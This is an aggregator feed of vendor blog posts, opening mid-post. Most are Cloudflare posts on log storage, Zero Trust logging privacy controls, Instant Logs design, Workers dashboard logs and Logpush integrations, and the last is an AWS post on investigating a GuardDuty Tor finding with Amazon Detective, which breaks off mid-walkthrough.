Last but not least is Logpull. Using Logpull, customers can access HTTP request logs using our REST API. Our customers like Logpull because it’s easy to configure, they don’t have to worry about storing logs on a third party, and you can pull data ad hoc for up to seven days.

Why Cloudflare storage?

The top four requests we’ve heard from customers when it comes to logs are:

  • I have tight budgets and need low cost log storage.
  • They should be low effort to set up and maintain.
  • I should be able to store logs for as long as I need to.
  • I want to access my logs on Cloudflare for any product.

For many of our customers, Cloudflare is one of the most important data sources, and it also generates more data than other applications on their IT stack. R2 is significantly cheaper than other cloud providers, so our customers don’t need to compromise by sampling or leaving out logs from products all together in order to cut down on costs.

Just like the simplicity of Logpull, log storage on R2 will be quick and easy. With a one click setup, we’ll store your logs, and you don’t have to worry about any configuration details. Retention is totally in our customer’s control to match the security and compliance needs of their business. With R2, you can also store your logs for any products we have logging for today (and we’re always adding more as our product line expands).

Log storage; we’re just getting started

With log storage on Cloudflare, we’re creating the building blocks to allow customers to perform log analysis and forensics capabilities directly on Cloudflare. Whether conducting an investigation, responding to a support request or addressing an incident, using analytics for a birds eye view and inspecting logs to determine the root cause is a powerful combination.

If you’re interested in getting notified when you can store your logs on Cloudflare, sign up through this form.

We’re always looking for talented engineers to take on the challenges of working with data at an incredible scale. If you’re interested apply here.

PII and Selective Logging controls for Cloudflare’s Zero Trust platform

Post Syndicated from Ankur Aggarwal original https://blog.cloudflare.com/pii-and-selective-logging-controls-for-cloudflares-zero-trust-platform/

PII and Selective Logging controls for Cloudflare’s Zero Trust platform

PII and Selective Logging controls for Cloudflare’s Zero Trust platform

At Cloudflare, we believe that you shouldn’t have to compromise privacy for security. Last year, we launched Cloudflare Gateway — a comprehensive, Secure Web Gateway with built-in Zero Trust browsing controls for your organization. Today, we’re excited to share the latest set of privacy features available to administrators to log and audit events based on your team’s needs.

Protecting your organization

Cloudflare Gateway helps organizations replace legacy firewalls while also implementing Zero Trust controls for their users. Gateway meets you wherever your users are and allows them to connect to the Internet or even your private network running on Cloudflare. This extends your security perimeter without having to purchase or maintain any additional boxes.

Organizations also benefit from improvements to user performance beyond just removing the backhaul of traffic to an office or data center. Cloudflare’s network delivers security filters closer to the user in over 250 cities around the world. Customers start their connection by using the world’s fastest DNS resolver. Once connected, Cloudflare intelligently routes their traffic through our network with layer 4 network and layer 7 HTTP filters.

To get started, administrators deploy Cloudflare’s client (WARP) on user devices, whether those devices are macOS, Windows, iOS, Android, ChromeOS or Linux. The client then sends all outbound layer 4 traffic to Cloudflare, along with the identity of the user on the device.

With proxy and TLS decryption turned on, Cloudflare will log all traffic sent through Gateway and surface this in Cloudflare’s dashboard in the form of raw logs and aggregate analytics. However, in some instances, administrators may not want to retain logs or allow access to all members of their security team.

The reasons may vary, but the end result is the same: administrators need the ability to control how their users’ data is collected and who can audit those records.

Legacy solutions typically give administrators an all-or-nothing blunt hammer. Organizations could either enable or disable all logging. Without any logging, those services did not capture any personally identifiable information (PII). By avoiding PII, administrators did not have to worry about control or access permissions, but they lost all visibility to investigate security events.

That lack of visibility adds even more complications when teams need to address tickets from their users to answer questions like “why was I blocked?”, “why did that request fail?”, or “shouldn’t that have been blocked?”. Without logs related to any of these events, your team can’t help end users diagnose these types of issues.

Protecting your data

Starting today, your team has more options to decide the type of information Cloudflare Gateway logs and who in your organization can review it. We are releasing role-based dashboard access for the logging and analytics pages, as well as selective logging of events. With role-based access, those with access to your account will have PII information redacted from their dashboard view by default.

We’re excited to help organizations build least-privilege controls into how they manage the deployment of Cloudflare Gateway. Security team members can continue to manage policies or investigate aggregate attacks. However, some events call for further investigation. With today’s release, your team can delegate the ability to review and search using PII to specific team members.

We still know that some customers want to reduce the logs stored altogether, and we’re excited to help solve that too. Now, administrators can now select what level of logging they want Cloudflare to store on their behalf. They can control this for each component, DNS, Network, or HTTP and can even choose to only log block events.

That setting does not mean you lose all logs — just that Cloudflare never stores them. Selective logging combined with our previously released Logpush service allows users to stop storage of logs on Cloudflare and turn on a Logpush job to their destination of choice in their location of choice as well.

How to Get Started

To get started, any Cloudflare Gateway customer can visit the Cloudflare for Teams dashboard and navigate to Settings > Network. The first option on this page will be to specify your preference for activity logging. By default, Gateway will log all events, including DNS queries, HTTP requests and Network sessions. In the network settings page, you can then refine what type of events you wish to be logged. For each component of Gateway you will find three options:

  1. Capture all
  2. Capture only blocked
  3. Don’t capture
PII and Selective Logging controls for Cloudflare’s Zero Trust platform

Additionally, you’ll find an option to redact all PII from logs by default. This will redact any information that can be used to potentially identify a user including User Name, User Email, User ID, Device ID, source IP, URL, referrer and user agent.

We’ve also included new roles within the Cloudflare dashboard, which provide better granularity when partitioning Administrator access to Access or Gateway components. These new roles will go live in January 2022 and can be modified on enterprise accounts by visiting Account Home → Members.

If you’re not yet ready to create an account, but would like to explore our Zero Trust services, check out our interactive demo where you can take a self-guided tour of the platform with narrated walkthroughs of key use cases, including setting up DNS and HTTP filtering with Cloudflare Gateway.

What’s Next

Moving forward, we’re excited to continue adding more and more privacy features that will give you and your team more granular control over your environment. The features announced today are available to users on any plan; your team can follow this link to get started today.

How we built Instant Logs

Post Syndicated from Ben Yule original https://blog.cloudflare.com/how-we-built-instant-logs/

How we built Instant Logs

How we built Instant Logs

As a developer, you may be all too familiar with the stress of responding to a major service outage, becoming aware of an ongoing security breach, or simply dealing with the frustration of setting up a new service for the first time. When confronted with these situations, you want a real-time view into the events flowing through your network, so you can receive, process, and act on information as quickly as possible.

If you have a UNIX mindset, you’ll be familiar with tailing web service logs and searching for patterns using grep. With distributed systems like Cloudflare’s edge network, this task becomes much more complex because you’ll either need to log in to thousands of servers, or ship all the logs to a single place.

This is why we built Instant Logs. Instant Logs removes all barriers to accessing your Cloudflare logs, giving you a complete platform to view your HTTP logs in real time, with just a single click, right from within Cloudflare’s dashboard. Powerful filters then let you drill into specific events or search for patterns, and act on them instantly.

The Challenge

Today, Cloudflare’s Logpush product already gives customers the ability to ship their logs to a third-party analytics or storage provider of their choosing. While this system is already exceptionally fast, delivering logs in about 15s on average, it is optimized for completeness and the utmost certainty that your data is reliably making it to its destination. It is the ideal solution for after things have settled down, and you want to perform a forensic deep dive or retrospective.

We originally aimed to extend this system to provide our real-time logging capabilities, but we soon realized the objectives were inherently at odds with each other. In order to get all of your data, to a single place, all the time, the laws of the universe require that latencies be introduced into the system. We needed a complementary solution, with its own unique set of objectives.

This ultimately boiled down to the following

  1. It has to be extremely fast, in human terms. This means average latencies between an event occurring at the edge and being received by the client should be under three seconds.
  2. We wanted the system design to be simple, and communication to be as direct to the client as possible. This meant operating the dataplane entirely at the edge, eliminating unnecessary round trips to a core data center.
  3. The pipeline needs to provide sensible results on properties of all sizes, ranging from a few requests per day to hundreds of thousands of requests per second.
  4. The pipeline must support a broad set of user-definable filters that are applied before any sampling occurs, such that a user can target and receive exactly what they want.

Workers and Durable Objects

Our existing Logpush pipeline relies heavily on Kafka to provide sharding, buffering, and aggregation at a single, central location. While we’ve had excellent results using Kafka for these pipelines, the clusters are optimized to run only within our core data centers. Using Kafka would require extra hops to far away data centers, adding a latency penalty we were not willing to incur.

In order to keep the data plane running on the edge, we needed primitives that would allow us to perform some of the same key functions we needed out of Kafka. This is where Workers and the recently released Durable Objects come in. Workers provide an incredibly simple to use, highly elastic, edge-native, compute platform we can use to receive events, and perform transformations. Durable Objects, through their global uniqueness, allow us to coordinate messages streaming from thousands of servers and route them to a singular object. This is where aggregation and buffering are performed, before finally pushing to a client over a thin WebSocket. We get all of this, without ever having to leave the edge!

Let’s walk through what this looks like in practice.

A Simple Start

Imagine a simple scenario in which we have a single web server which produces log messages, and a single client which wants to consume them. This can be implemented by creating a Durable Object, which we will refer to as a Durable Session, that serves as the point of coordination between the server and client. In this case, the client initiates a WebSocket connection with the Durable Object, and the server sends messages to the Durable Object over HTTP, which are then forwarded directly to the client.

How we built Instant Logs

This model is quite quick and introduces very little additional latency other than what would be required to send a payload directly from the web server to the client. This is thanks to the fact that Durable Objects are generally located at or near the data center where they are first requested. At least in human terms, it’s instant. Adding more servers to our model is also trivial. As the additional servers produce events, they will all be routed to the same Durable Object, which merges them into a single stream, and sends them to the client over the same WebSocket.

How we built Instant Logs

Durable Objects are inherently single threaded. As the number of servers in our simple example increases, the Durable Object will eventually saturate its CPU time and will eventually start to reject incoming requests. And even if it didn’t, as data volumes increase, we risk overwhelming a client’s ability to download and render log lines. We’ll handle this in a few different ways.

Honing in on specific events

Filtering is the most simple and obvious way to reduce data volume before it reaches the client. If we can filter out the noise, and stream only the events of interest, we can substantially reduce volume. Performing this transformation in the Durable Object itself will provide no relief from CPU saturation concerns. Instead, we can push this filtering out to an invoking Worker, which will run many filter operations in parallel, as it elastically scales to process all the incoming requests to the Durable Object. At this point, our architecture starts to look a lot like the MapReduce pattern!

How we built Instant Logs

Scaling up with shards

Ok, so filtering may be great in some situations, but it’s not going to save us under all scenarios. We still need a solution to help us coordinate between potentially thousands of servers that are sending events every single second. Durable Objects will come to the rescue, yet again. We can implement a sharding layer consisting of Durable Objects, we will call them Durable Shards, that effectively allow us to reduce the number of requests being sent to our primary object.

How we built Instant Logs

But how do we implement this layer if Durable Objects are globally unique? We first need to decide on a shard key, which is used to determine which Durable Object a given message should first be routed to. When the Worker processes a message, the key will be added to the name of the downstream Durable Object. Assuming our keys are well-balanced, this should effectively reduce the load on the primary Durable Object by approximately 1/N.

Reaching the moon by sampling

But wait, there’s more to do. Going back to our original product requirements, “The pipeline needs to provide sensible results on properties of all sizes, ranging from a few requests per day to hundreds of thousands of requests per second.” With the system as designed so far, we have the technical headroom to process an almost arbitrary number of logs. However, we’ve done nothing to reduce the absolute volume of messages that need to be processed and sent to the client, and at high log volumes, clients would quickly be overwhelmed. To deliver the interactive, instant user experience customers expect, we need to roll up our sleeves one more time.

This is where our final trick, sampling, comes into play.

Up to this point, when our pipeline saturates, it still makes forward progress by dropping excess data as the Durable Object starts to refuse connections. However, this form of ‘uncontrolled shedding’ is dangerous because it causes us to lose information. When we drop data in this way, we can’t keep a record of the data we dropped, and we cannot infer things about the original shape of the traffic from the messages that we do receive. Instead, we implement a form of ‘controlled’ sampling, which still preserves the statistics, and information about the original traffic.

For Instant Logs, we implement a sampling technique called Reservoir Sampling. Reservoir sampling is a form of dynamic sampling that has this amazing property of letting us pick a specific k number of items from a stream of unknown length n, with a single pass through the data. By buffering data in the reservoir, and flushing it on a short (sub second) time interval, we can output random samples to the client at the maximum data rate of our choosing. Sampling is implemented in both layers of Durable Objects.

How we built Instant Logs

Information about the original traffic shape is preserved by assigning a sample interval to each line, which is equivalent to the number of samples that were dropped for this given sample to make it through, or 1/probability. The actual number of requests can then be calculated by taking the sum of all sample intervals within a time window. This technique adds a slight amount of latency to the pipeline to account for buffering, but enables us to point an event source of nearly any size at the pipeline, and we can expect it will be handled in a sensible, controlled way.

Putting it all together

What we are left with is a pipeline that sensibly handles wildly different volumes of traffic, from single digits to hundreds of thousands of requests a second. It allows the user to pinpoint an exact event in a sea of millions, or calculate summaries over every single one. It delivers insight within seconds, all without ever having to do more than click a button.

Best of all? Workers and Durable Objects handle this workload with aplomb and no tuning, and the available developer tooling allowed me to be productive from my first day writing code targeting the Workers ecosystem.

How to get involved?

We’ll be starting our Beta for Instant Logs in a couple of weeks. Join the waitlist to get notified about when you can get access!

If you want to be part of building the future of data at Cloudflare, we’re hiring engineers for our data team in Lisbon, London, Austin, and San Francisco!

Data at Cloudflare just got a lot faster: Announcing Live-updating Analytics and Instant Logs

Post Syndicated from Jon Levine original https://blog.cloudflare.com/instant-logs/

Data at Cloudflare just got a lot faster: Announcing Live-updating Analytics and Instant Logs

Data at Cloudflare just got a lot faster: Announcing Live-updating Analytics and Instant Logs

Today, we’re excited to introduce Live-updating Analytics and Instant Logs. For Pro, Business, and Enterprise customers, our analytics dashboards now update live to show you data as it arrives. In addition to this, Enterprise customers can now view their HTTP request logs instantly in the Cloudflare dashboard.

Cloudflare’s data products are essential for our customers’ visibility into their network and applications. Having this data in real time makes it even more powerful — could you imagine trying to navigate using a GPS that showed your location a minute ago? That’s the power of real time data!

Real time data unlocks entirely new use cases for our customers. They can respond to threats and resolve errors as soon as possible, keeping their applications secure and minimising disruption to their end users.

Lightning fast, in-depth analytics

Cloudflare products generate petabytes of log data daily and are designed for scale. To make sense of all this data, we summarize it using analytics — the ability to see time series data, tops Ns, and slices and dices of the data generated by Cloudflare products. This allows customers to identify trends and anomalies and drill deep into problems.

We take it a step further from just showing you high-level metrics. With Cloudflare Analytics you have the ability to quickly drill down into the most important data — narrow in on a specific time period and add a chain of filters to slice your data further and see all the reflecting analytics.

Data at Cloudflare just got a lot faster: Announcing Live-updating Analytics and Instant Logs
Video of Cloudflare analytics showing live updating and drill down capabilities

Let’s say you’re a developer who’s made some recent changes to your website, you’ve deleted some old content and created new web pages. You want to know as soon as possible if these changes have led to any broken links, so you can quickly identify them and make fixes. With live-updating analytics, you can monitor your traffic by status code. If you notice an uptick in 404 errors add a filter to get details on all 404s and view the top referrers causing the errors. From there, take steps to resolve the problem whether by creating a redirect page rule or fixing broken links on your own site.

Instant Logs at your fingertips

While Analytics are a great way to see data at an aggregate level, sometimes you need event level information, too. Logs are powerful because they record every single event that flows through a network, so you can figure out what occurred on a granular level.

Our Logpush system is already able to get logs from our global edge network to a customer’s storage destination or analytics provider within seconds. However, setting this up has a lot of overhead and often customers incur long processing times at their destination. We wanted logs to be instant — instant to set up, deliver and take action on.

It’s that easy.

With Instant Logs, customers can actively monitor the traffic that’s flowing through their network and make key decisions that affect their applications now. Real time data unlocks totally new use cases:

  • For Security Engineers: Stop an attack as it’s developing. For example, apply a Firewall rule and see it’s impact — get answers within seconds. If it’s not what you were intending, try another rule and check again.
  • For Developers: Roll out a config change — to Cloudflare, or to your origin — and have piece of mind to watch as your error rates stay flat (we hope!).

(By the way, if you’re a fan of Workers and want to see real time Workers logging, check out the recently released dashboard for Workers logs.)

Logs at the speed of sight

“Real time” or “instant” can mean different things to different people in different contexts. At Cloudflare, we’re striving to make it as close to the speed of sight as possible. For us, this means we wanted the “glass-to-glass” time — from when you hit “enter” in your browser until when the logs appear — to be under one second.

How did we do?

Today, Cloudflare’s Instant Logs have an average delay of two seconds, and we’re continuing to make improvements to drive that down.

“Real-time” is a very fuzzy term. Looking at other services we see Akamai talking about real-time data as “within minutes” or “latency of 10 minutes”, Amazon talks about “near real-time” for CloudWatch, Google Cloud Logging provides log tailing with a configurable buffer “up to 60 seconds” to deal with potential out-of-order log delivery, and we benchmarked Fastly logs at 25 seconds.

Our goal is to drive down the delay as much as possible (within the laws of physics). We’re happy to have shipped Instant Logs that arrive in two seconds, but we’re not satisfied and will continue to bring that number down.

In time sensitive scenarios such as an attack or an outage, a few minutes or even 30 seconds of delay can have a big impact on customers. At Cloudflare, our goal is to get our customer’s data into their hands as fast as possible  — and we’re just getting started.

How to get access?

Live-updating Analytics is available now on all Pro, Business, and Enterprise plans. Select the “Last 30 minutes” view of your traffic in the Analytics tab to start monitoring your analytics live.

We’ll be starting our Beta for Instant Logs in a couple of weeks. Join the waitlist to get notified about when you can get access!

If you’re eager for details on the inner workings of Instant Logs, check out our blog post about how we built Instant Logs.

What’s next

We’re hard at work to make Instant Logs available for all Enterprise customers — stay tuned after joining our waitlist. We’re also planning to bring all of our datasets to Instant Logs, including Firewall Events. In addition, we’re working on the next set of features like the ability to download logs from your session and compute running aggregates from logs.

For a peek into what we have our sights on next, we know how important it is to perform analysis on not only up-to-date data, but also historical data. We want to give customers the ability to analyze logs, draw insights and perform forensics straight from the Cloudflare platform.

If this sounds cool, we’re hiring engineers for our data team in Lisbon, London and San Francisco — would love to have you help us build the future of data at Cloudflare.

Introducing logs from the dashboard for Cloudflare Workers

Post Syndicated from Ashcon Partovi original https://blog.cloudflare.com/workers-dashboard-logs/

Introducing logs from the dashboard for Cloudflare Workers

Introducing logs from the dashboard for Cloudflare Workers

If you’re writing code: what can go wrong, will go wrong.

Many developers know the feeling: “It worked in the local testing suite, it worked in our staging environment, but… it’s broken in production?” Testing can reduce mistakes and debugging can help find them, but logs give us the tools to understand and improve what we are creating.

if (this === undefined) {
  console.log("there’s no way… right?") // Narrator: there was.

While logging can help you understand when the seemingly impossible is actually possible, it’s something that no developer really wants to set up or maintain on their own. That’s why we’re excited to launch a new addition to the Cloudflare Workers platform: logs and exceptions from the dashboard.

Starting today, you can view and filter the console.log output and exceptions from a Worker… at no additional cost with no configuration needed!

View logs, just a click away

When you view a Worker in the dashboard, you’ll now see a “Logs” tab which you can click on to view a detailed stream of logs and exceptions. Here’s what it looks like in action:

Each log entry contains an event with a list of logs, exceptions, and request headers if it was triggered by an HTTP request. We also automatically redact sensitive URLs and headers such as Authorization, Cookie, or anything else that appears to have a sensitive name.

If you are in the Durable Objects open beta, you will also be able to view the logs and requests sent to each Durable Object. This is a great tool to help you understand and debug the interactions between your Worker and a Durable Object.

For now, we support filtering by event status and type. Though, you can expect more filters to be added to the dashboard very soon! Today, we support advanced filtering with the wrangler CLI, which will be discussed later in this blog.

console.log(), and you’re all set

It’s really simple to get started with logging for Workers. Simply invoke one of the standard console APIs, such as console.log(), and we handle the rest. That’s it! There’s no extra setup, no configuration needed, and no hidden logging fees.

function logRequest (request) {
  const { cf, headers } = request
  const { city, region, country, colo, clientTcpRtt  } = cf
  console.log("Detected location:", [city, region, country].filter(Boolean).join(", "))
  if (clientTcpRtt) {
     console.debug("Round-trip time from client to", colo, "is", clientTcpRtt, "ms")

  // You can also pass an object, which will be interpreted as JSON.
  // This is great if you want to define your own structured log schema.
  console.log({ headers })

In fact, you don’t even need to use console.log to view an event from the dashboard. If your Worker doesn’t generate any logs or exceptions, you will still be able to see the request headers from the event.

Advanced filters, from your terminal

If you need more advanced filters you can use wrangler, our command-line tool for deploying Workers. We’ve updated the wrangler tail command to support sampling and a new set of advanced filters. You also no longer need to install or configure cloudflared to use the command. Not to mention it’s much faster, no more waiting around for logs to appear. Here are a few examples:

# Filter by your own IP address, and if there was an uncaught exception.
wrangler tail --format=pretty --ip-address=self --status=error

# Filter by HTTP method, then apply a 10% sampling rate.
wrangler tail --format=pretty --method=GET --sampling-rate=0.1

# Filter using a generic search query.
wrangler tail --format=pretty --search="TypeError"

We recommend using the “pretty” format, since wrangler will output your logs in a colored, human-readable format. (We’re also working on a similar display for the dashboard.)

However, if you want to access structured logs, you can use the “json” format. This is great if you want to pipe your logs to another tool, such as jq, or save them to a file. Here are a few more examples:

# Parses each log event, but only outputs the url.
wrangler tail --format=json | jq .event.request?.url

# You can also specify --once to disconnect the tail after receiving the first log.
# This is useful if you want to run tests in a CI/CD environment.
wrangler tail --format=json --once > event.json

Try it out!

Both logs from the dashboard and wrangler tail are available and free for existing Workers customers. If you would like more information or a step-by-step guide, check out any of the resources below.

More products, more partners, and a new look for Cloudflare Logs

Post Syndicated from Bharat Nallan Chakravarthy original https://blog.cloudflare.com/logpush-ui-update/

More products, more partners, and a new look for Cloudflare Logs

We are excited to announce a new look and new capabilities for Cloudflare Logs! Customers on our Enterprise plan can now configure Logpush for Firewall Events and Network Error Logs Reports directly from the dashboard. Additionally, it’s easier to send Logs directly to our analytics partners Microsoft Azure Sentinel, Splunk, Sumo Logic, and Datadog. This blog post discusses how customers use Cloudflare Logs, how we’ve made it easier to consume logs, and tours the new user interface.

New data sets for insight into more products

Cloudflare Logs are almost as old as Cloudflare itself, but we have a few big improvements: new datasets and new destinations.

Cloudflare has a large number of products, and nearly all of them can generate Logs in different data sets. We have “HTTP Request” Logs, or one log line for every L7 HTTP request that we handle (whether cached or not). We also provide connection Logs for Spectrum, our proxy for any TCP or UDP based application. Gateway, part of our Cloudflare for Teams suite, can provide Logs for HTTP and DNS traffic.

Today, we are introducing two new data sets:

Firewall Events gives insight into malicious traffic handled by Cloudflare. It provides detailed information about everything our WAF does. For example, Firewall Events shows whether a request was blocked outright or whether we issued a CAPTCHA challenge.  About a year ago we introduced the ability to send Firewall Events directly to your SIEM; starting today, I’m thrilled to share that you can enable this directly from the dashboard!

Network Error Logging (NEL) Reports provides information about clients that can’t reach our network. To enable NEL Reports for your zone and start seeing where clients are having issues reaching our network, reach out to your account manager.

Take your Logs anywhere with an S3-compatible API

To start using logs, you need to store them first. Cloudflare has long supported AWS, Azure, and Google Cloud as storage destinations. But we know that customers use a huge variety of storage infrastructure, which could be hosted on-premise or with one of our Bandwidth Alliance partners.

Starting today, we support any storage destination with an S3-compatible API. This includes:

And best of all, it’s super easy to get data into these locations using our new UI!

“As always, we love that our partnership with Cloudflare allows us to seamlessly offer customers our easy, plug and play storage solution, Backblaze B2 Cloud Storage. Even better is that, as founding members of the Bandwidth Alliance, we can do it all with free egress.”
Nilay Patel, Co-founder and VP of Solutions Engineering and Sales, Backblaze.

Push Cloudflare Logs directly to our analytics partners

While many customers like to store Logs themselves, we’ve also heard that many customers want to get Logs into their analytics provider directly — without going through another layer. Getting high volume log data out of object storage and into an analytics provider can require building and maintaining a costly, time-consuming, and fragile integration.

Because of this, we now provide direct integrations with four analytics platforms: Microsoft Azure Sentinel, Sumo Logic, Splunk, and Datadog. And starting today, you can push Logs directly into Sumo Logic, Splunk and Datadog from the UI! Customers can add Cloudflare to Azure Sentinel using the Azure Marketplace.

“Organizations are in a state of digital transformation on a journey to the cloud. Most of our customers deploy services in multiple clouds and have legacy systems on premise. Splunk provides visibility across all of this, and more importantly, with SOAR we can automate remediation. We are excited about the Cloudflare partnership, and adding their data into Splunk drives the outcomes customers need to modernize their security operations.”
Jane Wong, Vice President, Product Management, Security at Splunk

“Securing enterprise IT environments can be challenging – from devices, to users, to apps, to data centers on-premises or in the cloud. In today’s environment of increasingly sophisticated cyber-attacks, our mutual customers rely on Microsoft Azure Sentinel for a comprehensive view of their enterprise.  Azure Sentinel enables SecOps teams to collect data at cloud scale and empowers them with AI and ML to find the real threats in those signals, reducing alert fatigue by as much as 90%. By integrating directly with Cloudflare Logs we are making it easier and faster for customers to get complete visibility across their entire stack.”
Sarah Fender, Partner Group Program Manager, Azure Sentinel at Microsoft

“As a long time Cloudflare partner we’ve worked together to help joint customers analyze events and trends from their websites and applications to provide end-to-end visibility to improve digital experiences. We’re excited to expand our partnership as part of the Cloudflare Analytics Ecosystem to provide comprehensive real-time insights for both observability and the security of mission-critical applications and services with our Cloud SIEM solution.”
John Coyle, Vice President of Business Development for Sumo Logic

“Knowing that applications perform as well in the real world as they do in the datacenter is critical to ensuring great digital experiences. Combining Cloudflare Logs with Datadog telemetry about application performance in a single pane of glass ensures teams will have a holistic view of their application delivery.”
Michael Gerstenhaber, Sr. Director of Product, Datadog

Why Cloudflare Logs?

Cloudflare’s mission is to help build a better Internet. We do that by providing a massive global network that protects and accelerates our customers’ infrastructure. Because traffic flows across our network before reaching our customers, it means we have a unique vantage point into that traffic. In many cases, we have visibility that our customers don’t have — whether we’re telling them about the performance of our cache, the malicious HTTP requests we drop at our edge, a spike in L3 data flows, the performance of their origin, or the CPU used by their serverless applications.

To provide this ability, we have analytics throughout our dashboard to help customers understand their network traffic, firewall, cache, load balancer, and much more. We also provide alerts that can tell customers when they see an increase in errors or spike in DDoS activity.

But some customers want more than what we currently provide with our analytics products. Many of our enterprise customers use SIEMs like Splunk and Sumo Logic or cloud monitoring tools like Datadog. These products can extend the capabilities of Cloudflare by showcasing Cloudflare data in the context of customers’ other infrastructure and providing advanced functionality on this data.

To understand how this works, consider a typical L7 DDoS attack against one of our customers.  Very commonly, an attack like this might originate from a small number of IP addresses and a customer might choose to block the source IPs completely. After blocking the IP addresses, customers may want to:

  • Search through their Logs to see all the past instances of activity from those IP addresses.
  • Search through Logs from all their other applications and infrastructure to see all activity from those IP addresses
  • Understand exactly what that attacker was trying to do by looking at the request payload blocked in our WAF (securely encrypted thanks to HPKE!)
  • Set an alert for similar activity, to be notified if something similar happens again

All these are made possible using SIEMs and infrastructure monitoring tools. For example, our customer NOV uses Splunk to “monitor our network and applications by alerting us to various anomalies and high-fidelity incidents”.

“One of the most valuable sources of data is Cloudflare,” said John McLeod, Chief Information Security Officer at NOV. “It provides visibility into network and application attacks. With this integration, it will be easier to get Cloudflare Logs into Splunk, saving my team time and money.”

A new UI for our growing product base

With so many new data sets and new destinations, we realized that our existing user interface was not good enough. We went back to the drawing board to design a more intuitive user experience to help you quickly and easily set up Logpush.

You can still set up Logpush in the same place in the dashboard, in the Analytics > Logs tab:

More products, more partners, and a new look for Cloudflare Logs

The new UI first prompts users to select the data set to push. Here you’ll also notice that we’ve added support for Firewall Events and NEL Reports!

More products, more partners, and a new look for Cloudflare Logs

After configuring details like which fields to push, customers can then select where the Logs are going. Here you can see our three new destinations, S3-compatible storage, Sumo Logic, Datadog and Splunk:

More products, more partners, and a new look for Cloudflare Logs

Coming soon

Of course, we’re not done yet! We have more Cloudflare products in the pipeline and more destinations planned where customers can send their Logs. Additionally, we’re working on adding more flexibility to our logging pipeline so that customers can configure to send Logs for the entire account, plus filter Logs to just send error codes, for example.

Ultimately, we want to make working with Cloudflare Logs as useful as possible — on Cloudflare itself! We’re working to help customers solve their performance and security challenges with data at massive scale. If that sounds interesting, please join us! We’re hiring Systems Engineers for the Data team.

Investigate VPC flow with Amazon Detective

Post Syndicated from Ross Warren original https://aws.amazon.com/blogs/security/investigate-vpc-flow-with-amazon-detective/

Many Amazon Web Services (AWS) customers need enhanced insight into IP network flow. Traditionally, cost, the complexity of collection, and the time required for analysis has led to incomplete investigations of network flows. Having good telemetry is paramount, and VPC Flow Logs are a very important part of a robust centralized logging architecture. The information that VPC Flow Logs provide is frequently used by security analysts to determine the scope of security issues, to validate that network access rules are working as expected, and to help analysts investigate issues and diagnose network behaviors. Flow logs capture information about the IP traffic going to and from EC2 interfaces in a VPC. Each record describes aspects of the traffic flow, such as where it originated and where it was sent to, what network ports were used, and how many bytes were sent.

Amazon Detective now enables you to interactively examine the details of the virtual private cloud (VPC) network flows of your Amazon Elastic Compute Cloud (Amazon EC2) instances. Amazon Detective makes it easy to analyze, investigate, and quickly identify the root cause of potential security issues or suspicious activities. Detective automatically collects VPC flow logs from your monitored accounts, aggregates them by EC2 instance, and presents visual summaries and analytics about these network flows. Detective doesn’t require VPC Flow Logs to be configured and doesn’t impact existing flow log collection.

In this blog post, I describe how to use the new VPC flow feature in Detective to investigate an UnauthorizedAccess:EC2/TorClient finding from Amazon GuardDuty. Amazon GuardDuty is a threat detection service that continuously monitors for malicious activity and unauthorized behavior to protect your AWS accounts, workloads, and data stored in Amazon S3. GuardDuty documentation states that this alert can indicate unauthorized access to your AWS resources with the intent of hiding the unauthorized user’s true identity. I’ll demonstrate how to use Amazon Detective to investigate an instance that was flagged by Amazon GuardDuty to determine whether it is compromised or not.

Starting the investigation in GuardDuty

In my GuardDuty console, I’m going to select the UnauthorizedAccess:EC2/TorClient finding shown in Figure 1, choose the Actions menu, and select Investigate.

Figure 1: Investigating from the GuardDuty console

Figure 1: Investigating from the GuardDuty console

This opens a new browser tab and launches the Amazon Detective console, where I’m presented with the profile page for this finding, shown in Figure 2. You must have Detective enabled to pivot between a GuardDuty finding and Detective. Detective provides profile pages for supported GuardDuty findings and AWS resources (for example, IP address, EC2 instance, user, and role) that include information and data visualizations that summarize observed behaviors and give guidance for interpreting them. Profiles help analysts to determine whether the finding is of genuine concern or a false positive. For resources, profiles provide supporting details for an investigation into a finding or for a general hunt for suspicious activity.

Figure 2: Finding profile panel

Figure 2: Finding profile panel

In this case, the profile page for this GuardDuty UnauthorizedAccess:EC2/TorClient finding provides contextual and behavioral data about the EC2 instance on which GuardDuty has noted the issue. As I dive into this finding, I’m going to be asking questions that help assess whether the instance was in fact accessed unintentionally, such as, “What IP port or network service was in use at that time?,” “Were any large data transfers involved?,” “Was the traffic allowed by my security groups?” Profile pages in Detective organize content that helps security analysts investigate GuardDuty findings, examine unexpected network behavior, and identify other AWS resources that might be affected by a potential security issue.

I begin scrolling down the page and notice the Findings associated with EC2 instance i-9999999999999999 panel. Detective displays related findings to provide analysts with additional evidence and context about potentially related issues. The finding I’m investigating is listed there, as well as an Unusual Behaviors/VM/Behavior:EC2-NetworkPortUnusual finding. GuardDuty builds a baseline on your network traffic and will generate findings where there is traffic outside the calculated normal. While we might not investigate every instance of anomalous traffic, having these alerts correlated by Detective provides context for validating the issue. Keeping this in mind as I scroll down, at the bottom of this profile page, I find the Overall VPC flow volume panel. If you choose the Info link next to the panel title, you can see helpful tips that describe how to use the visualizations and provide ideas for questions to ask within your investigation. These info links are available throughout Detective. Check them out!

Investigating VPC flow in Detective

In this investigation, I’m very curious about the two large spikes in inbound traffic that I see in the Overall VPC flow volume panel, which seem to be visually associated with some unusual outbound traffic spikes. It’s most likely that these outbound spikes are related to the Unusual Behaviors/VM/Behavior:EC2-NetworkPortUnusual finding I mentioned earlier. To start the investigation, I choose the display details for scope time button, shown circled at the bottom of Figure 2. This expands the VPC Flow Details, shown in Figure 3.

Figure 3: Our first look at VPC Flow Details

Figure 3: Our first look at VPC Flow Details

We now can see that each entry displays the volume of inbound traffic, the volume of outbound traffic, and whether the access request was accepted or rejected. Detective provides annotations on the VPC flows to help guide your investigation. These From finding annotations make it clear which flows and resources were involved in the finding. In this case, we can easily see (in Figure 3) the three IP addresses at the top of the list that triggered this GuardDuty finding.

I’m first going to focus on the spikes in traffic that are above the baseline. When I click on one of the spikes in the graph, the time window for the VPC flow activity now matches the dates of these spikes I’m investigating.

If I choose the Inbound Traffic column header, shown in Figure 4, I can find the flows that contributed to the spike during this time window.

Figure 4: Inbound traffic spikes

Figure 4: Inbound traffic spikes

